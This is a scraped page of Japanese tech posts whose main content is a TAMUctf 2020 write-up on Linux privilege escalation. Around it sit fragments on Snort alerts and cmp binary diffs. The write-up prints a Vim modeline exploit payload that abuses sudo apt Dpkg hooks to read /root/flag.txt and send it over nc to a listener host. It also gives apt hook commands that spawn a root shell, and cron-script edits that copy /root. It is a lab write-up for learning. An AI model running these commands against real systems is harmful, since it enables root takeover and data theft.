# tail -f /var/log/snort/alert04/22-03:04:27.545270 [**] [1:999999:0] ICMP Packet detected [**] [Priority: 0] {ICMP} 192.168.1.10 -> 192.168.1.16おわりに
Snotはインストールも一苦労ですが、実際に運用する場合はルールセットのチューニングが発生したり、膨大のログから異常を確認するなどの作業が発生します。
ルールファイルの自動更新ができるOinkmasterや、Snortが出力したログファイルをHTMLファイルにしてWebブラウザ上で確認できるようにすることができるSnortSnarfというツールがあります。
余談ですが、Snortは鼻を鳴らすという意味があります。
- 投稿日:2020-04-30T08:09:18+09:00
Solus Linux upgrade problem
- 投稿日:2020-04-30T03:36:55+09:00
userからrootへ ~昇格の途を探る~(TAMUctf 2020: Writeup)
Linux Privilege Escalation
特定のマシンでArbitary Code Executionが
user権限でできる時、なんとかしてroot権限でのコマンド実行可能にすることをPrivilege Escalationという。具体的な方法は多岐に渡るがこのような記事にあるように特定のマシン内の情報(OS, command, 権限, etc...)をひたすらに集めて脆弱性のある部分を探し、それに適した攻撃法を調べ、それを適用するのが基本的な方針となる。なんでもありな分それぞれの攻撃や脆弱性の理解には難しい部分がありつつも抽象化すると手順は意外とシンプルになる(らざるを得ない)。TAMUctf 2020で自分が解いた範囲で
Linux Privilege Executionの問題が2つあったのでこの記事にまとめる。実践(Writeup)
Linux Privilege Escalationにはまず
user権限で対象のマシンでのコマンドが実行できる必要がある。
Obituaryでは以前記事にしたVimのCVE-2019-12735脆弱性を、MY FIRST BLOGではnostromoのCVE-2019-16278脆弱性を利用してRCEが実行できる(PoCはこれを利用した)。以下何を実行しているのか分かりやすいようにそれぞれのPoCを利用した上でマシン上で実行されるコマンドとその結果についてのみ考える。RCEについてのPoC利用部分は省略する。TAMUctf: Obituary-2
問題環境 TAMUctf 2020: Obituary
Hey, shoot me over latest version of the code. I have a simple nc session up, just pass it over when you're ready.
You're using vim, right? You should use it; it'll change your life. I basically depend on it for everything these days!NOTE: This challenge is two parts. Flag one belongs to mwazoski. Flag two belongs to root.
攻撃対象マシン(172.30.0.2)$ id uid=1000(mwazowski) gid=1000(mwazowski) groups=1000(mwazowski) $ ls ~/ flag.txt (obtuary_1のフラグ) manually_installed_packages.txt note_to_self.txt $ cat ~/note_to_self.txt Apparently my packages are out of date. ITSEC is really throwing a fit about me needing to update since red team popped my box. I'm sending them my installed packages. I have no idea how these guys got root on my machine, my password is like 60 characters long. The only thing I have as nopasswd is apt, which I just use for updates anyway. $ cat ~/manually_installed_packages.txt libgpm2 libtinfo5 lsb-base netcat python3 screen socat sudo vim vim-common vim-runtime wget xxd以上から得られるヒント
The only thing I have as nopasswd is apt, which I just use for updates anyway.
aptの実行がパスワードなしで実行できるようになっている模様。
ヒントがなかった場合でも以下から確認できる。攻撃対象マシン(172.30.0.2)$ sudo -l Matching Defaults entries for mwazowski on 752d3ba120c0: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User mwazowski may run the following commands on 752d3ba120c0: (root) NOPASSWD: /usr/bin/aptapt を経由したLinux Privilege Escalation
apt privilege escalationで検索すると以下のような形で実行の前後にhookしてコマンドを挟むことでaptの実行権限(すなわちroot)で挟んだコマンドの実行が可能になるようだ。(参考: Linux Privilege Escalation – Using apt-get/apt/dpkg to abuse sudo “NOPASSWD” misconfiguration)$ sudo apt-get update -o APT::Update::Pre-Invoke::= /bin/bash $ sudo apt-get update -o APT::Update::Post-Invoke::= /bin/bash $ sudo apt-get update -o DPkg::Pre-Invoke::= /bin/bash今回もこれを利用しようと考えたが、対象環境はインターネットに繋がっていない為
apt udpateがhookコマンドの実行前にError終了してしまう。
上の例のオプションの指定の仕方を見ると三つ目の方法ならupdateに限らずdpkg周辺のコマンド実行時にhookを仕込めると踏み調べてみると予想通りだった。
インターネットアクセスが必要なさそうなpurgeで上記の~/manually_installed_packages.txtに記載されているpackageを指定すると無事hookしたコマンドの実行が確認できた(がpurgeも成功してしまってこの攻撃の根幹のセッションを構成しているnetcat等を指定したらその後の攻撃が出来なくなっていたかもしれない)。攻撃の構築
以上の調査から最終的に以下のようにして秘匿情報(
/root/flag.txt)を取得した。PoC.txt(CVE-2019-12735攻撃スクリプト):!sudo apt purge -y -o Dpkg::Pre-Invoke::="cat /root/flag.txt;false" xxd 2>&1 | nc 172.30.0.14 4444 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=localマシン(172.30.0.14)$ nc 172.30.0.2 4321 < PoC.txt (事前に起動済み)$ nc -vkl 4444 WARNING: apt does not have a stable CLI interface. Use with caution in scripts. Reading package lists... Building dependency tree... Reading state information... The following packages were automatically installed and are no longer required: libpcre2-8-0 libpsl5 publicsuffix Use 'sudo apt autoremove' to remove them. The following packages will be REMOVED: vim* vim-common* xxd* gigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r} 0 upgraded, 0 newly installed, 3 to remove and 0 not upgraded. After this operation, 3400 kB disk space will be freed. E: Problem executing scripts DPkg::Pre-Invoke 'cat /root/flag.txt;false' E: Sub-process returned an error code
/root/flag.txtの内容は上記の出力のgigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}部分となる。(CVE-2019-12735のPoCについては以前の記事に詳細あり)
今回の警句は
y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r-> you would think people would know better.
~/note_to_self.txtに書いてあった以下の部分を皮肉ったものだった。面白い。I have no idea how these guys got root
on my machine, my password is like 60 characters long.TAMUctf: MY FIRST BLOG
問題環境 TAMUctf 2020: MY FIRST BLOG
Here is a link to my new blog! I read about a bunch of exploits in common server side blog tools so I just decided to make my website static. Hopefully that should keep it secure.
対象の構成
172.30.0.2に
Hugoを利用して生成された静的サイトがnostromoサーバーを利用して設置されている。$ nmap -A 172.30.0.2 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-20 21:07 JST Nmap scan report for 172.30.0.2 Host is up (0.14s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http nostromo 1.9.6 |_http-generator: Hugo 0.54.0 |_http-server-header: nostromo 1.9.6 |_http-title: My first blog!調査(Enumeration)
今回は先ほどと違い
Linux Privilege Escalationに利用出来る候補のファイルがあるわけではないので可能性のあるものを片っ端から列挙していく。
調べるとEnumeration用scriptはいくつかヒットするが、どれも得られる情報量に大差なさそうだったのであまり環境に左右されなそうなシェルスクリプトで用意されているLinEnumを利用した。
対象マシンはインターネットアクセスは無いがインターネットアクセスがあり、/tmpへのファイルの配置が可能だったのでncを利用して送られてきたものを/tmp/LinEnum.shとして書き出すようにサーバーを立て、scriptを送り込み確認した。
LinEnum.shの出力には大量の情報が列挙される。cronの部分で/usr/bin/healthcheckがrootで走っていることがわかる。対象マシン$ sh /tmp/LinEnum.sh ... -e ### JOBS/TASKS ########################################## -e [-] Cron jobs: -rw-r--r-- 1 root root 758 Mar 20 08:06 /etc/crontab /etc/cron.d: total 12 drwxr-xr-x 2 root root 4096 Mar 20 08:06 . drwxr-xr-x 1 root root 4096 Mar 21 04:01 .. -rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder /etc/cron.daily: total 24 drwxr-xr-x 1 root root 4096 Mar 20 08:06 . drwxr-xr-x 1 root root 4096 Mar 21 04:01 .. -rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder -rwxr-xr-x 1 root root 1478 Apr 20 2018 apt-compat -rwxr-xr-x 1 root root 1176 Nov 2 2017 dpkg -rwxr-xr-x 1 root root 249 Jan 25 2018 passwd /etc/cron.hourly: total 12 drwxr-xr-x 2 root root 4096 Mar 20 08:06 . drwxr-xr-x 1 root root 4096 Mar 21 04:01 .. -rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder /etc/cron.monthly: total 12 drwxr-xr-x 2 root root 4096 Mar 20 08:06 . drwxr-xr-x 1 root root 4096 Mar 21 04:01 .. -rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder /etc/cron.weekly: total 12 drwxr-xr-x 2 root root 4096 Mar 20 08:06 . drwxr-xr-x 1 root root 4096 Mar 21 04:01 .. -rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder -e -e [-] Crontab contents: # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # * * * * * root /usr/bin/healthcheck -e ...さらに
/usr/bin/healthchekはuser-writableであることがわかる。対象マシン$ ls -la /usr/bin/healthcheck -rwxrwxrwx 1 root root 98 Mar 19 18:41 /usr/bin/healthcheck攻撃の構築
以上から
/usr/bin/healthcheckにコマンドを追記すればcron経由でrootで実行されることがわかったので以下のように/rootを読めるように/tmpにコピー。/usr/bin/healthcheck(対象マシン)#!/bin/bash nc -z localhost 80 if [ $? == 1 ]; then echo "nhttpd is dead, restarting." nhttpd fi #以下を追記 cp -r /root /tmp/root chmod -R 777 /tmp/rootコピーしてきたディレクトリに欲しい秘匿情報(
flag.txt)が取得できた。(対象マシン)$ ls -la /tmp/root drwxrwxrwx 3 root root 4096 Mar 21 06:11 . drwxrwxrwt 1 root root 4096 Mar 21 06:17 .. -rwxrwxrwx 1 root root 3106 Mar 21 06:10 .bashrc -rwxrwxrwx 1 root root 148 Mar 21 06:10 .profile -rwxrwxrwx 1 root root 29 Mar 21 06:10 flag.txt $ cat /tmp/root/flag.txt gigem{l1m17_y0ur_p3rm15510n5}今回の警句は
l1m17_y0ur_p3rm15510n5-> limit your permission
/usr/bin/healthcheckの権限を適切に(せめてnon-writableに)すれば良かったということだろう。感想
Linux Privilege EscalationはこのTAMUctfで初めてある程度体系的に調べ実際に以上2つの構成で攻撃を試みたが、misconfigurationなものが一つでも存在すれば思ったより簡単に達成できてしまうことがわかった。調べた範囲では典型的なLinux Privilege Executionの例にはKernel exploitやSUID commandを利用したもの等もあったので今度挑戦してみようと思う。参考
- 投稿日:2020-04-30T02:19:18+09:00
バイナリファイル(画像ファイルなど)のdiffをとる
テキストファイルの差分をとるにはdiffですが
画像ファイルなどのバイナリファイルに差がないかを調べるには
cmpを使えばよいようです。cmp a.jpg b.jpg a.jpg b.jpg 異なります: バイト 23、行 1










